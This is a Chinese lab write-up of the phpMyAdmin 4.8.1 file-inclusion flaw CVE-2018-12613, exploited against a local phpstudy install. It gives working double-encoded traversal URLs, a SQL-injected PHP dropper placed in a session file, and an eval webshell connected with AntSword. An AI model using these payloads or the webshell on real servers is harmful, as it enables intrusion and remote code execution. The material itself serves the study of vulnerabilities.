目录
一、CVE-2018-12613漏洞
1、漏洞简介
2、漏洞原理
(1)漏洞触发点与正常逻辑
(2)过滤逻辑缺陷与绕过方式
二、渗透准备
1、访问phpmyadmin靶场
2、登录phpmyadmin
3、获取session文件位置
三、渗透准备
1、读取敏感信息
2、上传木马
(1)访问server_sql.php页面
(2)执行phpinfo命令
(3)session文件包含执行脚本
(4)浏览器访问木马
(5)连接蚁剑
一、CVE-2018-12613漏洞
1、漏洞简介
CVE-2018-12613是phpMyAdmin 4.8.0-4.8.21中的高危本地文件包含漏洞。攻击者通过双重URL编码(如%253f)绕过白名单检查,利用index.php的target参数实现任意文件包含。可读取敏感文件或结合Session注入执行PHP代码,需认证后利用。
-
CVE编号:CVE-2018-12613
-
漏洞类型:本地文件包含(LFI)
-
影响版本:phpMyAdmin 4.8.0 - 4.8.1
-
漏洞等级:高危
-
利用条件:需要攻击者能够登录phpMyAdmin(已认证)
-
核心问题: 对传入 index.php 的 target 参数验证不足,导致攻击者能够包含并执行服务器上的任意文件(包括远程文件),从而实现代码执行。
2、漏洞原理
CVE-2018-12613 核心原理在于对target
参数的过滤逻辑存在缺陷,攻击者可通过构造特殊请求绕过限制,实现任意文件包含。
(1)漏洞触发点与正常逻辑
在 phpMyAdmin 的index.php
中,target
参数用于指定跳转或加载的页面,代码通过include
函数加载该参数对应的文件,核心逻辑如下:
// index.php 中的关键代码
if (! empty($_REQUEST['target']) && is_string($_REQUEST['target'])) {$target = $_REQUEST['target'];// 检查 target 是否在白名单内if (! PMA_isValid($_REQUEST['target'])) {$target = $cfg['DefaultTabDatabase'];}include $target;
}
正常情况下,PMA_isValid()
函数会校验target
值是否在允许的白名单中(如db_datadict.php
、table_sql.php
等合法页面),若不在白名单则使用默认值,防止恶意文件包含。
(2)过滤逻辑缺陷与绕过方式
PMA_isValid()
函数的过滤逻辑存在漏洞:当target
参数以index.php?
开头时,函数会误判为 “合法值”,直接放行。具体来说,其内部判断逻辑类似:
// 简化的 PMA_isValid() 逻辑
function PMA_isValid($target) {// 白名单校验if (in_array($target, $whitelist)) {return true;}// 漏洞点:若 target 以 "index.php?" 开头,直接判定为合法if (strpos($target, 'index.php?') === 0) {return true;}return false;
}
攻击者发现可以传入经过编码的URL来绕过白名单检查:
index.php?target=db_sql.php%253f/../../../../etc/passwd
白名单验证函数 Core::checkPageValidity()
存在逻辑缺陷。攻击者可以通过二次URL编码的方式绕过检查:
-
构造Payload:将
?
字符进行双重编码。?
→ 第一次编码为%3f
→ 第二次编码为%253f
-
发送请求:
http://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../etc/passwd
-
绕过过程:
-
第一次解码(PHP自动完成):
%253f
被解码为%3f
,参数变为db_sql.php%3f/../../../../etc/passwd
。 -
白名单检查:在某些版本的验证逻辑中,程序可能会对参数进行二次解码或错误地处理
%3f
,最终提取出db_sql.php
进行校验。由于db_sql.php
在白名单内,检查通过。 -
文件包含:
include
语句最终尝试加载db_sql.php?/../../../../etc/passwd
。在文件系统层面,?
被当作普通字符,因此实际路径经由路径遍历(../../../../
)后被解析为/etc/passwd
,导致敏感文件被读取。
-
二、渗透准备
1、访问phpmyadmin靶场
本文的服务使用phpstudy启动,其中PHP版本为5.5.9。从官网下载phpmyadmin 4.8.1版本的源码,选择将phpmyadmin4.8.1版本的源码放到网站的根目录中,具体如下所示。
C:\phpstudy_pro\WWW\phpMyAdmin-4.8.1
当前网站的根目录为C:\phpstudy_pro\WWW\,故而访问phpmyadmin的URL地址如下所示。
http://127.0.0.1/phpMyAdmin-4.8.1/index.php
2、登录phpmyadmin
输入数据库的用户名和密码登录,如下所示phpmyadmin为漏洞版本4.8.1。
如果忘记了数据库密码,以phpstudy为例其数据库的用户名和密码可以通过phpstudy-数据库,将鼠标放到密码处即可显示密码的明文,如下所示。
3、获取session文件位置
在当前页面查看session值,鼠标右键-元素-网络,如下所示。
点击重新载入或者刷新页面,进入到如下页面,点击当前报文index.php,在页面底部的右方点击cookies。
点击重新载入或者刷新页面,进入到如下页面,点击当前报文index.php,在页面底部的右方点击cookies。
找到phpmyadmin对应的cookie值,将其复制下来9hgc7cmqqolddq8pajfbqkak13iasksq。
对应的session名应该为sess_9hgc7cmqqolddq8pajfbqkak13iasksq,其中session的文件位置为C:\phpstudy_pro\Extensions\tmp\tmp\sess_9hgc7cmqqolddq8pajfbqkak13iasksq,如下所示。
注意:session文件的位置根据php.ini中的配置,
三、渗透实战
1、读取敏感信息
构造请求利用CVE-2018-12613漏洞实施攻击,访问windows系统中的hosts敏感文件,如下所示。
http://127.0.0.1/phpMyAdmin-4.8.1/?target=db_sql.php%253f/../../../../Windows/System32/drivers/etc/hosts
或
http://127.0.0.1/phpMyAdmin-4.8.1/index.php?target=db_sql.php%253f/../../../../Windows/System32/drivers/etc/hosts
db_sql.php
的位置:C:\phpstudy_pro\WWW\phpmyadmin\db_sql.php
hosts
文件的位置:C:\Windows\System32\drivers\etc\hosts
- 最终相对路径为:
../../../../Windows/System32/drivers/etc/hosts
通过将问号双重编码为%253f绕过phpMyAdmin白名单检查,使系统误将db_sql.php识别为合法目标。实际包含时问号被当作普通字符,结合路径遍历序列跳转目录,最终成功读取Windows系统hosts文件内容,实现敏感信息泄露。
db_sql.php
: 这是一个合法的、在白名单内的phpMyAdmin脚本文件名。攻击者用它来通过初始的白名单检查。%253f
: 这是双重编码的关键。第一次解码后,%25
会变成%
,所以%253f
会变成%3f
。最终,当PHP进行包含操作时,%3f
会被解码成问号?
。?
在URL中通常表示查询字符串的开始。但在文件路径中,它只是一个非法字符。/../../../../
:路径遍历(Path Traversal)序列,目的是回退到磁盘的根目录(C:\)。Windows/System32/drivers/etc/hosts
: 这是从磁盘根目录开始的目标文件路径,即Windows系统的hosts文件。
如下所示渗透成功,获取到的敏感信息为# 127.0.0.1 localhost 127.0.0.1 activate.navicat.com 199.232.68.133 raw.githubusercontent.com。
2、上传木马
通过包含session临时文件来实现命令执行,具体思路如下所示。
(1)访问server_sql.php页面
首先在登录表单或其他能写入Session的地方注入PHP代码,这里选择访问server_sql.php页面,具体效果如下所示。
http://127.0.0.1/phpMyAdmin-4.8.1/server_sql.php
(2)执行phpinfo命令
我们先开始执行一个SELECT '生成一句话木马' 命令,具体内容如下所示。
select "<?php file_put_contents('ljn.php','<?php @eval($_POST[ljn]);?>')?>"
这步会将代码写入Session文件,文件名格式为:sess_[PHPSESSID],执行后页面效果如下所示。
(3)session文件包含执行脚本
在将木马脚本写入到session文件中后,计划通过查看session值来访问临时文件/sess_9hgc7cmqqolddq8pajfbqkak13iasksq实现渗透,其中session的文件位置如下所示。
C:\phpstudy_pro\Extensions\tmp\tmp\sess_9hgc7cmqqolddq8pajfbqkak13iasksq
db_sql.php文件位置C:\phpstudy_pro\WWW\phpmyadmin\db_sql.php,故其相对路径如下所示。
../../../Extensions/tmp/tmp/sess_9hgc7cmqqolddq8pajfbqkak13iasksq
构造文件包含访问session文件的URL地址,如下所示。
http://127.0.0.1/phpMyAdmin-4.8.1/index.php?target=db_sql.php%253f/../../../Extensions/tmp/tmp/sess_9hgc7cmqqolddq8pajfbqkak13iasksq
或
http://127.0.0.1/phpMyAdmin-4.8.1/?target=db_sql.php%253f/../../../Extensions/tmp/tmp/sess_9hgc7cmqqolddq8pajfbqkak13iasksq
执行后效果如下所示,已经包含成功。本部分的原理实际上是通过Session文件作为"木马",利用文件包含漏洞来执行其中的PHP代码,预期是在当前目录下生成子木马ljn.php。
该URL的执行效果是在当前目录下生成木马,故而ljn.php的URL路径如下所示。
http://127.0.0.1/phpMyAdmin-4.8.1/ljn.php
(4)浏览器访问木马
攻击者使用子木马马脚本(ljn.php
)的方法是通过发送 POST 请求,并在请求体中包含一个名为 ljn
的参数,如下所示。
木马的链接地址:http://127.0.0.1/phpMyAdmin-4.8.1/ljn.php
密码为ljn
木马内容:<?php @eval($_POST[ljn]);?>
-
<?php ... ?>
:PHP 标签,表示其中的代码是 PHP 代码。 -
$_POST['ljn']
:获取通过 POST 方法传递的、名为ljn
的参数的值。这是攻击者向服务器发送指令的通道。 -
eval(...)
:一个危险的 PHP 函数,它将其字符串参数当作 PHP 代码来执行。这是整个木马的核心。 -
@
:错误控制运算符。如果执行过程中出现错误,@
会抑制错误信息的显示,使木马更加隐蔽
当攻击者子木马脚本(ljn.php
)发送 POST 请求,请求体中包含一个名为 ljn
的参数,在 HackBar 中勾选 Post data
选项,并将POST参数设置为phpinfo();函数时,效果如下所示,渗透成功。
(5)连接蚁剑
-
打开蚁剑:启动蚁剑应用程序。
-
添加shell数据:
-
右键点击左侧空白区域 -> 添加。
-
在弹出的窗口中填写以下信息:
-
URL地址:
http://127.0.0.1/phpMyAdmin-4.8.1/ljn.php
-
连接密码:
ljn
(即$_POST['ljn']
中的参数名) -
编码器:通常选择
default
(默认)或base64
(用于绕过一些安全检测)。
-
-
点击 添加 保存配置。
-
在左侧列表中找到刚刚添加的 shell,右键选择文件,如下所示显示网站的目录结构。